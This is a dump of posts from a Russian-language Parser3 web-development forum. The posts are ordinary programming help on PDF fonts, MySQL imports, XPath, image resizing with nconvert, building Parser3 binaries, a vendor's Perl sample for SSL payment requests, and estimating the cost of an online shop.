"43042","Бяка со шрифтами возникает от того, что по умолчанию Acrobat экономит трафик и предлагает обработать postscript принтеру. А у того вшиты шрифты без кириллицы..."
"43044","Да, дело действительно в памяти.\
\
PhpMyAdmin, судя по всему, не хотел закачивать потому, что где-то в настройках ограничение стоит для php.\
\
Через парсер прогонять даже с compact беспонтово, он разом выжирает 250 метров памяти и возится долго, на localhost c грехом пополам таблицы по 11 метров закачались, а 16-метровую уже не срослось.\
\
Зато на localhost идеально прошло с запросом LOAD DATA INFILE. Понятно, что parser таблицы не читает и запрос всего один - так что все сверхбыстро.\
\
Клянчу у хост-провайдера доступ к папке с базой данных, чтобы можно было использовать запрос без LOCAL.\
\
Спасибо за наводку. :)"
"43046","Да целиком, целиком... Поясните, плиз, как надо сдувать..."
"43048","Хочу переставить движок парсера с CGI на ISAPI.\
\
Основная конфигурация auto.p лежит в директории где есть parser.exe, откуда он ее при старте читает, после чего читает auto.p в директории откуда идет http запрос.\
\
Проблема в том, что при старте parser3isapi.dll, находящегося в той же директории, он auto.p не читает, а читает только auto.p в директории откуда идет http запрос.\
\
Сей факт выяснился при помощи filemon, когда не помогло перекладывание auto.p в директории типа system32.\
\
Вопрос, так и должно быть, или он все же пытается читать auto.p, но filemon это не показывает?\
\
Еще вопрос, как наиболее правильно вставить конфигурацию в auto.p, чтобы минимизировать возможные последствия?"
"43049","чтобы так не было?"
"43050","проблем не наблюдали.\
файл auto.p в каталоге рядом с parser3isapi.dll должен читаться.\
детали в parser3isapi.C"
"43051","... а то в мануалах только как из local  к internet приконнектится. И как примерно это делать? \
\
И еще: какой тип хоcтинга unix/windows важен? у меня вроде только Unix на всех площадках."
"43053","Для начала в установках дистиллера акробатовского посмотреть, чтобы использованные шрифты были [b]внедренные[/b] в создаваемый PDF.\
Скорее всего дело в этом, если просто указан тип шрифта, то используется тот шрифт, который есть на машине или его подстановка"
"43054","...неохота совершенно и жду, пока другие почитают.\
\
и ещё: важно ли, ехать на танке или идти пешком?"
"43055","стоит с самого начала.\
файлик .options высылаю любому желающему!"
"43056","тогда скорее всего дело в прошитых фонтах в принтере,\
часто помогает использование \"экзотических\" фонтов...\
... маловато информации, что бы сделать выводы"
"43058","сам-то дилетант :)\
\
рассуждал так же, фонт использован нестандартный, FreeSetC."
"43059","...а со стороны KvesTim'a\
1. Скорее всего это глюки местного назначения (а-ля не тот драйвер на принтер)\
2. Acrobat и лицензионный часто иногда выпендривается... :))\
Ваш пдф вполне нормальный, не озадачивайтесь"
"43061","1) Драйвер на принтер яля тот.\
2) Сколько pdf файлов не печалал с таким не сталкивался.\
\
Вот Sanja v.2 четко ответил в чем проблема.\
PAF спросил как бы это при создание файла учесть.\
А вы, yet, конкретного ничего не сказали, только свалили все на меня."
"43067","http://www.google.ru/search?hl=ru&q=placeholder&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr="
"43069","почему я не вижу ошибки user_not_found,  что нужно сделать чтобы ее увидеть ?\
\
Update: вопрос отпал =), не заметил в коде редирект.\
\
[code]\
$auth[^auth::init[$cookie:CLASS;;$.csql[$MAIN:pSQL]]]\
^if($auth.is_logon){\
\
}{\
	^try{\
		^auth.logon[\
			$form:fields\
		]\
	}{\
		$exception.handled(1)\
		$errors[^auth.decodeError[]]\
		^auth.error.$name\
		ошибка: ^errors.menu{$errors.name}[, ].\
	}\
\
			\
	^auth.htmlFormLogon[$.target_url[]]\
\
}\
[/code]"
"43070","и плюёт на Акробатовские embedded fonts.\
\
Забейте. Это как в анкедоте про вкручивание лампочки: \"программисты: это аппаратная проблема, мы этим не занимаемся.\""
"43071","Предлагаю рядом со скачиваемым pdf-файлом написать маленький комментарий из сообщения Sanja V.2: http://www.parser.ru/forum/?id=43042"
"43072",".PFB+.PFM\
\
может буковку в названии подпортить и уйдут проблемы?"
"43073","http://www.parser.ru/forum/?id=43063\
\
[quot]\
Есть три таблицы. Мы выбираем из каждой c_id при следующих условиях: если (table1.field=param1 или table2.field=param1) и table3.field=param2 Вопрос такой: если в одной из таблиц данного c_id не писутствует вообще (в двух остальных есть) обычно table1, то с_id выбирается даже если table2.field != param1 (а table3.field=param2)\
\
[/quot]"
"43074","Пара вопросов про ^GET_abc и ^SET_abc \
- имеет ли тут значение регистр?\
- если у меня есть методы ^class:set[] и ^class:get[], то каким будет наиболее разумное решение - переименовать их или оставить как есть?"
"43076","GET_ и SET_ должны быть написаны именно большими буквами (по аналогии с CLASS, USE & Co). т.е. в вашем случае все будет продолжать работать."
"43077","http://cvsview.parser.ru/ не работает частенько :( Это на время обновления и т.п., или не штатная ситуация?"
"43078","http://www.parser.ru/docs/\
слева повесил вашу рекомендацию. спасибо!"
"43079","когда в следующий раз заметите, сразу напишите, по горячим следам разберёмся.\
\
это нештатная ситуация, не должно быть."
"43080","Не только http, а именно CVS не коннектится. Уже минут 30 висит..."
"43081","а про CVS вижу, отписал админам."
"43082","товаристч!\
Ни в коей мере не собирался на Вас все сваливать (если Вы внимательно читали то, что я написал)\
Из Вашего исходного поста п.1 явно не очевиден\
Из Вашего нынешнего поста п.2 говорит о том, что мало Вы \"сталкивались с \"печалом\" pdf\"... :)\
\
Вот Sanja v.2 четко ответил _как решить эту проблему_, в данном случае единственно правильное решение...\
\
PAF, как нормальный программер, попытался довести ситуевину до беспредельного совершенства, о чем и было мной ему указано :))\
\
Для полного OFFa анек на эту тему:\
Призвали сисадов в армию, отправили на стрельбы - в мишенях ни одной дырки.\
- Блин, чему вас там только учили, совсем стрелять не умеете!\
- А мы чего, у нас все нормально - пуля со ствола вылетела, это на вашей стороне проблемы..."
"43083","Ой... What is that? Но всё равно спасибо."
"43086","давайте не будем опять 2 на 2 множить."
"43087","на самом деле добрый админ радикально изменил ситуацию к лучшему в 14:43 :)"
"43091","[code]\
$spec[^table::sql{SELECT DISTINCT spec_prod.c_id, spec_prod_s.c_id, spec_spice.c_id FROM spec_prod, spec_prod_s, spec_spice WHERE spec_prod_s.c_id = spec_spice.c_id AND spec_spice.c_id = spec_prod.c_id AND (spec_prod.prod='$form:prod' AND spec_spice.spice='$form:spice') OR (spec_prod_s.prod='$form:prod' AND spec_spice.spice='$form:spice')}]\
[/code]"
"43092","в теге input есть атрибут placeholder"
"43093","Ну, если это MySQL, то в данном случае:\
[url=\"http://dev.mysql.com/doc/mysql/en/operator-precedence.html\"]http://dev.mysql.com/doc/mysql/en/operator-precedence.html[/url]\
\
и всегда:\
[url=\"http://mysql.ru/webboard\"]http://mysql.ru/webboard[/url]\
\
Ваш вопрос удалили очень правильно."
"43094","Не мой день сегодня. Поеду-ка я нырять на Ладогу :)"
"43095","Делаю так:\
\
[code]\
<body>\
^if(def $form:step_name){^step[$form:step_name]}\
			{^location[${start_uri}?step_name=privetstvie]}\
</body>\
\
@step[step_name]\
^switch[$step_name]{\
   ^case[privetstvie]{dfgfgfdg}\
   ^case[DEFAULT]{112134324}\
}\
[/code]\
\
Получаю постоянно обновляющуюся страницу (зациклено)\
\
\
\
Метод ^location[uri] описан в lib.p,v 1.39 2003/09/18 10:50:30 misha Exp $"
"43096","едут менты на машине:\
- Вась, глянь, у нас мигалка работает?\
- Работает, не работает, работает, не работа...."
"43097","[code]\
^if(условие){\
  если истина\
}{\
  если ложь\
}\
[/code]\
и\
[code]\
^if(условие){если истина}\
            {если ложь}\
[/code]\
- совершенно не одно и то-же."
"43098","Проблема решена так, что не будем демагогию разводить.\
\
Спорить с вами не буду, вы старше, опыта больше."
"43099","Не работает возврат адреса $env:remote_addr.\
Parser игнорирует эту функцию.\
У нас (нашего хостинг-провайдера) Apache на Linux.\
\
В форуме пишут, что нужно пересобирать Apache.\
А сами мы не  можем исправить эту проблему?\
И если нужно пересобирать Apache, то на что надо обратить внимание?"
"43100","Наверняка многие хотябы краем глаза видели мой пример по изменению размера изображений. В нём я предлагаю использовать perl скрипт и библиотеку ImageMagick.\
\
Не так давно обратил внимание на утилиту nconvert, которая входит в комплект [url=\"http://xnview.com\"]xnview[/url] - просмотрщика картинок.\
\
Эта утилита позволяет производить различные преобразования файлов, начиная от формата и заканчивая различными художественными фишками.\
\
Чем примечателен nconvert. \
\
1. Не требует знания Perl.\
2. Не требует установки ImageMagick.\
3. Дистрибутив есть практически под все системы включая Mac.\
4. При наличии установленой xnview можно настройки преобразований подбирать в визуальной среде.\
\
Функционально.\
1. Самый главный плюс, может делать поворот изображения, а так же различные зеркальные отражения без потери качества JPEG.\
2. Может делать преобразования с любым из примерно 400 графических форматов.\
3. Может работать с многостраничными (многослойными) форматами.\
4. Поддерживает 8 алгоритмов изменения размера изображения.\
\
Установка проста, кладём скрипт с библиотекой в папку bin или cgi-bin, назначаем nconvert права для запуска и всё.\
\
Запустить скрипт из Parser можно так:\
[code]\
$f[^file::exec[/../bin/nconvert;;-help]]\
<pre>$f.text</pre>\
[/code]\
При таком запуске выведет список всех своих возможностей и атрибутов.\
\
Сделать простой ресайз JPEG картинки по ширине до 200 пикселей с качеством сжатия 80% можно так:\
[code]$f[^file::exec[/../bin/nconvert;;-ratio;-q;80;-rtype;lanczos;-resize;200;${env:DOCUMENT_ROOT}/test.jpg]][/code]\
\
Теперь статистика:\
Измерить разницу в количесве используемой памяти между nconvert и ImageMagick мне не удалось. По крайней мере те результаты которые я получал, на мой взгляд не соответствуют реальности.\
\
Единственное что удалось померить точно - время обработки.\
Файл 1Mb в цикле ресайзился до размера в 200 px 10 раз.\
nconvert - 21 секунда.\
ImageMagick - 12 секунд.\
\
Учитывая что обычно обрабатываются файлы не больше 300 кб, то на обработку одного файла:\
nconvert затратит - 0.6 секунды\
ImageMagick затратит - 0.3 секунды\
\
По идее, для работы в редакторе разница не существенная, хотя выбирать конечно же вам.\
\
Ложка дёгтя.\
К сожалению из-за ограничений ^file::exec в неё нельзя записать больше 12 атрибутов для nconvert, т.е. если вы к примеру замыслили сделать разворот, сменить формат, сделать изображение ч/б и скажем более контрастным - увы. Придётся всё делать пооперационно, сохраняя промежуточный результат в файл без компрессии.\
\
\
P.S. нужно сделать в своем классе images.p возможность использования nconvert или imagemagick по выбору."
"43102","Забыл, что регистр имеет значение!"
"43105","xnview + nconvert\
http://perso.wanadoo.fr/pierre.g/xnview/endownloadwin32.html"
"43106","Одна беда - не хочет бегать по каталогам и обрабатывать файлы, в имени которых есть пробелы. Придётся дополнительное поле делать :("
"43107","а что мешает показать \"морду\" для этих операций, и поотм последовательно подсовывать выбранные опции - правда тут я вижу только так: запускать nconvert несколько раз с разными выбраными опциями"
"43108","В инете работать будет, если ОС  Linux RedHat? Также nconvert.exe кидать?"
"43109","Нет, нужно скачать nconvert под Red Hut (Linux). \
Вот так называется архивчик:\
XnView-x86-unknown-linux2.x-static.tgz\
Брать тут:\
http://download.xnview.com/\
\
Из всего архивчика потребуеются только два файла.\
/bin/nconvert\
/lib/libformat.so4 16\
последний файл нужно положить рядом с nconvert и переименовать в libformat.so"
"43110","народ кто сможет запустить вот этот класс http://www.315robindr.net/dload/soft/catalog/forum.zip\
напишите как вы это сделали.\
p.s. это очень важно!"
"43112","почему я поставил в настройках на форуме чтобы ответы на письма приходили на e-mail а они не приходят??"
"43116","Я слышал раньше были проблемы на mail.ru"
"43126","Взял код для экспорта новостей в RSS с форума,\
там есть выборка нужных новостей в след. виде:\
\
# хэш элементов item из файла\
$list[^xml.select[/rss/channel/item]]\
\
А мне эту выборку нужно сделать по параметрам.\
Параметры предлагаются, например, следующие:\
\
type = 2 (это группа новостей) \
n - 5 (это ограничение кол-ва новостей)\
\
Каков будет новый синтаксис выборки? Я пробовал писать:\
$list[^xml.select[/rss/channel/item[type = 2]]], \
но не сработало.\
\
Спасибо зараннее за подробный ответ."
"43130","Как Вы быстро отвечаете... Я теперь написал по правилам:\
\
$list[^xml.select[/rss/channel/item[attribute::type=\"0\"]]]\
или\
$list[^xml.select[/rss/channel/item[@type=\"1\"]]]\
\
но выбирается только заголовок канала, а новости не выбираются. \
Единственное, что удалось, это выбрать первую новость [1].\
\
Читал:\
http://www.w3.org/TR/xpath#location-paths\
\
Пытаюсь разобраться с этим RSS каналом (там вопрос №1):\
http://www.fotonovosti.ru/content/faq_project\
\
Что дальше читать? ;-)"
"43132","http://www.fotonovosti.ru/rss.php?n=5&type=1"
"43136","Собрал p3 для хостинга VPS www.rusonyx.ru. И с XML библиотеками и без таковых. Кому надо - обращайтесь.\
\
ЗЫ. И понырять на Ладоге успел на выходных ;)"
"43139","С новыми версиями парсера устаревают драйвера СУБД, работавшие в прежних версиях.\
\
Было для sqlite -- устарело, не поддерживается, жаль.\
Было для interbase -- для виндов, версии 3.1, что будет дальше?\
Раз было для interbase -- почему бы не сделать для firebird? Они похожи д.б., под DNWR есть. \
\
Каковы перспективы?"
"43140","Нужен хороший интернет магазин на Parser3.\
\
Предложения, цены и т.д. в почту."
"43141","$50000 и срок 4 месяца :)"
"43142","Надо еще дождаться варианта за 5 баксов и варианта за 1000000.\
\
Что, интересно, подразумевается под \"хорошим\"?\
Что там будет продаваться?\
Сколько планируется посетителей.\
Короче, автору треда дисреспект за вопросы из области \"сколько стоит автомобиль\"."
"43143","Я тут собирал на своём хостинге P3 из CVS и честно говоря намучался. Лазал по Форуму поиском и нашел массу нюансов которые не отображены в доках. В результате сборки у меня получилась пошаговая инструкция как и что надо делать, чтобы получить на выходе искомое.\
\
Вопрос к \"отцам\": может в каком-нибудь разделе сайта parser.ru сделать рубрику \"сборка своими силами\" в которой размещать индивидуальные инструкции для разных хостингов по сборке? Можно и в разделе http://www.parser.ru/hosters/, например.\
\
Я понимаю, что \"самому думать надо\" и т.п., но всё-таки основным пользователем собственно parser3.cgi являются не столько программисты, сколько вэб мастера. Сборка скрипта для них не основная задача."
"43144","Может быть кто-нибудь сталкивался с таким продуктом как [url=\"http://e-port.ru/dev/\"]«e-port дилер»[/url]?..\
\
Из документации:\
[quot]\
Группа e-port представляет универсальное решение, разработанное специально для крупных предприятий, занимающих солидные позиции на рынке. Данный продукт будет полезен организациям, которые желают включить в перечень своих услуг прием платежей за услуги различных операторов мобильной связи, Интернет-провайдеров, операторов спутникового телевидения, а также продажу PIN-кодов или расчеты за услуги предприятий электронной коммерции.\
[/quot]\
\
Сейчас уже есть чужой написанный механизм, который заносит всю информацию о пользователе и операции в базу данных. Мне нужно написать механизм, который будет по cron-у доставать данные из базы и передавать их e-port-у... Передача может происходить только методом POST и только через SSL.\
\
Вот пример на Perl с сайта e-port:\
\
[code]\
use strict;\
use Net::SSLeay qw(post_https make_headers);\
\
##### параметры подключения ##### \
\
# номер точки e-port\
my $point = 123;\
# номер карты e-port\
my $card = \"249000-00000\";\
# пин-код карты e-port\
my $pin = \"1234567890\";\
\
##### исходные данные запроса операции #####\
\
# тип запроса (OPERATION/CONFIRM/CANCEL)\
my $req_type = \"OPERATION\";      \
# идентификатор операции\
my $req_id = \"12345\";\
# номер чека\
my $req_checkid = \"12345\";\
# артикул товара из справочника(в данном случае - МТС ESPP)\
my $req_product = 4420;\
# объем сделки (в данном случае - 100 рублей)\
my $req_value = \"100.00RUR\";\
# реквизиты л/с клиента, объединенные точкой с запятой\
# в данном случае ракуизит один - номер телефона\
my $req_account = \"9161234567\";\
# тайм-аут запроса в синхронном режиме\
my $req_timeout = 15;   \
# режим транзакции (1 - однофазный, 2 - двухфазный)\
my $req_cnfmode = 2;   \
\
\
#####  Формирование запроса text/plain##### \
my $CRLF = \"\\r\\n\";\
my $request =  $req_type    . $CRLF . \
  \"id=\"      . $req_id      . $CRLF . \
  \"checkid=\" . $req_checkid . $CRLF . \
  \"product=\" . $req_product . $CRLF . \
  \"value=\"   . $req_value   . $CRLF . \
  \"account=\" . $req_account . $CRLF . \
  \"timeout=\" . $req_timeout . $CRLF . \
  \"cnfmode=\" . $req_cnfmode . $CRLF;\
\
print \"=== Operation Request ===\\n\";\
print $request;\
\
##### формируем http-заголовки запроса #####\
my $reqHeaders;\
# добавляем заголовок аутентификации\
$reqHeaders .= make_headers(\"X-Eport-Auth\"=>\"point=$point; card=$card; pin=$pin\");\
# добавляем признак синхронного режима\
$reqHeaders .= make_headers(\"X-Eport-Mode\"=>\"1\");\
# указываем кодировку сообщения и формат данных\
$reqHeaders .= make_headers(\"Content-Type\"=>\"text/plain; charset=koi8-r\");\
\
##### обмениваемся данными с сервером  #####\
my $host = \"dealer.e-port.ru\";\
my $port = \"443\";\
my $uri  = \"/cp/fe\";\
my ($body, $status, %resHeaders) = post_https($host,$port,$uri,$reqHeaders,$request);\
\
# http-код ответа указывает на ошибку\
if($status ne 'HTTP/1.1 200 OK'){\
  print \"HTTP ERROR: $status\\n\";\
  print \"$body\\n\";\
  \
# http-код ответа 200 (успешно)\
}else{\
  # разбираем построчно\
  my @lines = split(/\\r\\n/, $body);\
  my $i = 0;\
  \
  # ответ по операции должен начинаться с ключевого слова \"RESULT\"\
  die \"Response: Bad format, RESULT required\\n\" unless $lines[$i++] eq 'RESULT';\
  \
  # затем следуют обязательные параметры ответа в определенном порядке\
  # идентификатор операции\
  die \"Response: Bad format, id required\\n\" unless $lines[$i++] =~ /^id=(.*)$/;\
  my $res_id = $1;\
  \
  # код ответа\
  die \"Response: Bad format, code required\\n\" unless $lines[$i++] =~ /^code=(.*)$/;\
  my $res_code = $1;\
  \
\
\
  # сообщение для разработчика/оператора системы\
  die \"Response: Bad format, omsg required\\n\" unless $lines[$i++] =~ /^omsg=(.*)$/;\
  my $res_omsg = $1;\
  \
  # сообщение для клиента\
  die \"Response: Bad format, cmsg required\\n\" unless $lines[$i++] =~ /^cmsg=(.*)$/;\
  my $res_cmsg = $1;\
  \
  # далее следуют необязательные параметры операции\
  my ($res_time, $res_pmsg, $res_card, $res_pin);\
  \
  while( my $line = $lines[$i++]){\
    # дата/время операции на сервере\
    if($line=~ /^time=(.*)$/){\
      $res_time = $1\
    # сообщение для печати\
    }elsif($line=~ /^pmsg=(.*)$/){\
      $res_pmsg = $1\
    # номер карты e-port клиента\
    }elsif($line=~ /^card=(.*)$/){\
      $res_card = $1\
    # пин-код карты e-port клиента\
    }elsif($line=~ /^pin=(.*)$/){\
      $res_pin  = $1\
    }else{\
      die \"Response: Bad format\\n\";\
    }\
  }\
  \
  # обрабатываем полученные данные\
  print \"=== Operation result ===\\n\";\
  print \"id   :\" . $res_id   . \"\\n\";\
  print \"code :\" . $res_code . \"\\n\";\
  print \"omsg :\" . $res_omsg . \"\\n\";\
  print \"cmsg :\" . $res_cmsg . \"\\n\";\
  print \"time :\" . $res_time . \"\\n\";\
  print \"pmsg :\" . $res_pmsg . \"\\n\";\
  print \"card :\" . $res_card . \"\\n\";\
  print \"pin  :\" . $res_pin  . \"\\n\";\
}\
[/code]\
\
Я хочу Парсером доставать все данные в табличку из базы, им же генерировать весь запрос, а потом сократить немного прведенный пример на Perl, чтобы он только отправлял бы подготовленные данные и возвращал бы результат, который опять же обрабатывался бы Парсером. Приходится все это делать через Perl-овую связку, потому что Парсер не умеет работать с SSL :(\
\
Может быть кто-то сталкивался с этой системой? Поделитесь практическими идеями? :)"
"43145","[url=\"http://www.sql-ex.ru/\"]http://www.sql-ex.ru/[/url]"
"43147","если один раз на некоем хостинге удалось собрать, то простым людям хочется просто бинарник [--with-static-*].\
с радостью разместим ссылочку на страничку с бинарником."
"43148","Если я правильно понимаю процесс сборки, то тот факт, что я на своем VPS собрал бинарный скрипт с --with-static*, ничуть не поможет остальным пользователям их использовать. Собранные и подключенные мной библиотеки не распространяются на пользователей других VPS. Им бы помочь именно инструкцией по самостоятельной сборке бинарника."
"43149","означает, что .a версии библиотек подкомпоновались к основному бинарнику (parser3).\
\
можно убедиться в отсутствии зависимостей:\
[code]\
[paf@six] ~/parser3install/bin> ldd parser3\
        libdl.so.1 =>    /lib/libdl.so.1\
        libcrypt_i.so.1 =>       /lib/libcrypt_i.so.1\
        libm.so.1 =>     /lib/libm.so.1\
        libnsl.so.1 =>   /lib/libnsl.so.1\
        libsocket.so.1 =>        /lib/libsocket.so.1\
        libc.so.1 =>     /lib/libc.so.1\
        libgen.so.1 =>   /lib/libgen.so.1\
        libmp.so.2 =>    /lib/libmp.so.2\
[paf@six] ~/parser3install/bin>\
[/code]\
\
примерно так выглядеть должно (список системных библиотек будет другой).\
важно: тут нет ссылок на libxml & co, поскольку они уже внутри основного бинарника"
"43150","Планируется создание интернет магазина.\
Продаваться будет одежда, бельё.\
Требования к нему такие(может что-то забыл учесть):\
- внутри XML/XSLT, чтобы можно было к движку типа engine(респект Misha.v3) прикрутить;\
- чтобы аутентификация была из примеров(не устану благодарить Mish'у v.3), ну или варианты;\
- возможность продавать различные типы товаров, т.е. с самыми разными наборами свойст, т.е. например трусы и бюстгалтеры имеют разные параметры выбора;\
- возможность добавлять в корзину за раз более чем 1 товар, интерфейс для зрителя по возможностям чтобы был как на http://www.victoriassecret.com/\
- интеграция со складской БД;\
- самодокументированный стиль кода, документацию, чтобы смог разобраться программист;\
- возможность подключать платежные системы и т.д.\
- ну и весь набор функционала корзины и т.д.\
- организованная работа с фото товаров, автоматическая нарезка ImageMagic'ом, чтобы у каждого товара была своя галерея фоток.\
- возможность обрабатывать(оформлять в админке) заказы  одновременно 2м и более менеджерам;\
+ возможность организовывать партнерские программы;\
- может еще что-то....\
Посетителей для начала будет по 100-200 в день, потом больше, чтобы до 2000 посетителей в день не пришлось решать проблемы с нагрузкой на платном хостинге, 64 Мб лимит.\
\
Вот нечто такое ищу. Сам бы написал, было бы только 4 месяца :))\
\
Еще кстати если вы знаете о каких-нить shopping cart скриптах на других языках, напишите.\
Но это на случай если на Parser3 не найду \"хорошего\".\
\
P.S. Отдельное спасибо создателям Parser за создание.\
Спасибо Егорову за его сайт, статьи и переводы.\
Спасибо Мише за помощь, за примеры.\
Конечно же PAF'у отдельное спасибо."
"43151","Сегодня дошли руки сделать предварительный вариант вебстранички для Swissknife на http://swiss-knife.sourceforge.net/\
\
Если будете кого-то адресовать к дистрибутиву, пожалуйста, давайте эту ссылку, а не прямую ссылку на exe-шник.\
\
[color=\"#cccccc\"](ПыСы: обнаружилось, что на sourceforge - сразу полный комплект грабель - и кривой docroot и foreign-groups...)[/color]"
"43152","\
Итак содержание предыдущих 256 серий:\
[url=\"http://www.parser.ru/forum/?id=42659\"]http://www.parser.ru/forum/?id=42659[/url] - Вопрос\
[url=\"http://www.parser.ru/forum/?id=42680\"]http://www.parser.ru/forum/?id=42680[/url] - Ответ\
\
Благодаря решению, подсказаному osatuk - данные успешно заносятся в таблицу, но вот \"извратиться\" и сделать редактирование/update я так и не смогла :(\
\
Конструкция типа:\
[code]\
^form:fields.foreach[field;value]{\
   ^if(^field.match[asw_[0-9]+][]){\
     $asw_id[^field.match[asw_([0-9]+)][]{$match.1}]\
			^void:sql{\
				UPDATE\
					anketa_answer\
				SET\
					question_id = '$form:asw_$value'\
				WHERE\
					woker_id = '$form:edit_id'			\
								\
			}\
   }\
}\
}\
[/code]\
Не работает :(\
\
Я понимаю, что я наглая, но плз хелп ми ;)"
"43153","http://www.opensea.tv/parser3/\
\
ldd всё хорошо показало - все библиотеки внутри бинарника."
"43154","Т.к. Разработка такого чуда мысли будет стоить, как и сказал egr, где-то в районе 50000, только вот я сомневаюсь что 4 месяца - это реальный срок для введения в эксплуатацию..."
"43155","но хочется на Parser3"
"43157","Срок 4 месяца это из какого расчета? \
Сколько это будут человеко-программистов делать? \
Пытаюсь сориентироваться по трудозатратам и времени."
"43158","4 месяца сказал исходя из некоторого опыта, хотя это очень грубая оценка, она может оказаться как меньше, так и больше, - все от функционала зависит.\
\
По приведенному функционалу, - реальный срок 7-9 месяцев, технолог(парсер), программист и один кодер(XSLT) в проекте."
"43159","http://www.parser.ru/forum/?id=39103"
"43162","Можно описать поподробнее? Можно в почту."
"43163","Неужели никто не делал Магазин на Parser3?"
"43164","А сколько ушло времени на реализацию первого движка engine, если не секрет? \
\
Правильно ли я считаю что основная доля работы приходится на интерфейс админский с формами?"
"43165","http://www.parser.ru/forum/?id=40387 :)\
\
Но только от этого становится еще грустнее... :("
"43166","Может я чего-то не допонял, только на мой взгляд это извращение.\
Пусть будет одна таблица Anketa с полями ID_anketa, Question_1... Question_N и поле ID_worker.\
В одной из записей находятся вопросы, в остальных ответы, связь с сотрудником по ID_worker.\
Не вижу смысла особо заморачиваться..."
"43167","Хочется на своем сайте отображать часть текста со страницы другого сайта. Часть которую хочется показать заключена в \
[code]\
<!-- Some text -->\
код который хочется показать на своей странице\
<!-- /Some text -->\
[/code]\
\
просто задать поиск конкретной фразы \
[code]\
^str.match[Some text][g]\
[/code]\
не получается (руки наверное не из того места растут), а вот в regular expressions я пока не понял ничего.\
\
как задать в match <!-- и -->?"
"43168","ПАФ и не только он уже много раз проходились по этому поводу. Можно найти поиском."
"43169","Речь ведь идет о качественном продукте, а не о художественной самодеятельности состряпанной на колене.\
\
Хорошие программные решения делаются очень небыстро и стоят очень дорого. Фактически, срок разработки практически любого продукта ну никак не меньше 4-х месяцев.\
\
Я сейчас участвую в проекте (кроме меня ещё один человек) создания продукта который делает сильно меньше, чем написано в требованиях к магазину (приложение мониторинга), у него нет графического интерфейса (все настраивается через xml файл). Планируемый (и надеюсь реальный) срок разработки 4 месяца, правда помимо этого проекта приходится заниматься другой работой, но это уже другая история. Проект делается на C#  - на гораздо более продвинутой в технологическом плане платформе нежели чем парсер. Я имею ввиду IDE (VS .NET), разные полезные инструменты типа ReSharper (рефакторинг), профайлеры, каркасы для тестирования и пр., сильно ускоряющие разработку. Следующая версия приложения (GUI для настройки + модуль WSP), по нашей оценке должна занять от 7 до 12 месяцев.\
\
Так что не горюйте и принимайте правильные решения - или другой готовый продукт (не на парсере) или необходимый бюджет, люди и время для создания своего решения."
"43171","... и не только его мнение.\
Универсального решения нет, я имел в виду данный случай.\
Если нужно 1540 полей несложно разбить на несколько таблиц,\
к примеру.\
А что делать если данные разнородные? К примеру, для поля \"Дата рождения\" нужен один тип поля, а для \"Автобиографии\", другой? Жертвовать объемом базы?"
"43172","[url=\"http://www.qp7.ru/live/\"]http://www.qp7.ru/live/[/url]\
и еще сюда\
[url=\"http://quantumart.ru/\"]http://quantumart.ru/[/url]"
"43173","Зачем вообще менять конструкцию, если можно банально заменить INSERT на REPLACE?\
\
К тому же я, не очень въезжая в то, что Вы написали, могу предположить, что Wonder прав: '$form:asw_$value' - не в два прохода должно парситься?"
"43174","имеется таблица table с полями field01..field25\
\
никак не могу понять почему вот такая конструкция не всегда срабатывает:\
\
^for[num](1;25){\
   $table.field^eval($aaa)[%02.0f] <br>\
}\
\
Выводит, что нет такого поля как просто field, т.е. 01..25 не подцепляются либо просто там пусто. Не знаете в чём может быть дело?"
"43175","^for[num](1;25){\
$table.field^eval($num)[%02.0f] <br>\
}"
"43176","что-то не нашёл.."
"43177","[code]\
$table.[field^num.format[%02d]]\
[/code]\
\
отдельно: обычно это дурной стиль -- иметь много колонок."
"43179","думаете вот так правилно (у меня работает точно)\
[code]\
#сначало конечно файл берем с сайта\
$str[$file.text]\
#теперь находим начало блока\
$mtc[^str.match[\\<\\!\\-\\- Some text \\-\\-\\>][i']]\
#теперь в найденом участке, которое идет после искомой фразы ищем конец блока\
$sub_mtc[$mtc.postmatch]\
$mtc_final[^sub_mtc.match[\\<\\!\\-\\- /Some text \\-\\-\\>][i']]\
#теперь у нас есть таблица столбик prematch которой содержит нужную часть\
$mtc_final.prematch\
[/code]\
\
ну вот и все что пришло в голову, может у кого есть вариант проще, буду очень признателен."
"43180","Может я не внимательно смотрел, но это системы управления сайтами, мне нужен магазин. Система управления сайтами у меня есть уже.\
\
Офф: \
Ни одна ни вторая не понравилась. Шаблоны в виде HTML с вставками %тут банер% мне лично кажутся изобретенным велосипедом после XML/XSL"
"43183","Приведенные оценки, мягко говоря, немного завышены. Т.е. можно сделать и быстрее и не во вред качеству и не такой обширной командой :)"
"43184","Мало еще видимо на Парсере программируют, готового такого продукта пока нету.\
Придется видимо начать с малого и развиваться... Делать самому.\
"
"43188","да что все так привязались к этому классу авторизации? это достаточно посредственный код, изначально призваный решать лишь определенный спектр _моих_ задач.\
\
у него есть только одно преимущесво: он лежит в примерах. но это не значит что нет аналогов, которые лучше его."
"43189","Делаю \
[code]\
$zapros1[]\
^kogda_rabotaete.menu{\
^for[t](1;$quantity_of_building){$zapros1[${zapros1} create table ${kogda_rabotaete.month}_$t (id int NOT NULL AUTO_INCREMENT PRIMARY KEY,floor VARCHAR(2) NOT NULL,room VARCHAR(4) NOT NULL,place VARCHAR(2) NOT NULL,type VARCHAR(100) NOT NULL]\
^for[d](1;$kogda_rabotaete.day){\
$zapros1[${zapros1},d_$d VARCHAR(5) NOT NULL]\
}\
$zapros1[${zapros1})^; ]\
}\
}\
^if(def $zapros1){^void:sql{$zapros1}}\
[/code]\
\
Получаю:\
You have an error in your SQL syntax near ';  create table may_2 (id int NOT NULL AUTO_INCREMENT PRIMARY KEY,floor VARCHAR(' at line 1\
create table may_1 (id int NOT NULL AUTO_INCREMENT PRIMARY KEY,floor VARCHAR(2) NOT NULL,room VARCHAR(4) NOT NULL,place VARCHAR(2) NOT NULL,type VARCHAR(100) NOT NULL,d_1 VARCHAR(5) NOT NULL,d_2 VARCHAR(5) NOT NULL,d_3 VARCHAR(5) NOT NULL \
… \
,d_29 VARCHAR(5) NOT NULL,d_30 VARCHAR(5) NOT NULL,d_31 VARCHAR(5) NOT NULL); create table may_2 (id int NOT NULL AUTO_INCREMENT PRIMARY KEY,floor VARCHAR(2) NOT NULL,room VARCHAR(4) NOT NULL,place VARCHAR(2) NOT NULL,type VARCHAR(100) NOT NULL,d_1 VARCHAR(5) NOT NULL,d_2 VARCHAR(5) NOT NULL,d_3 VARCHAR(5) NOT NULL,d_4\
 … \
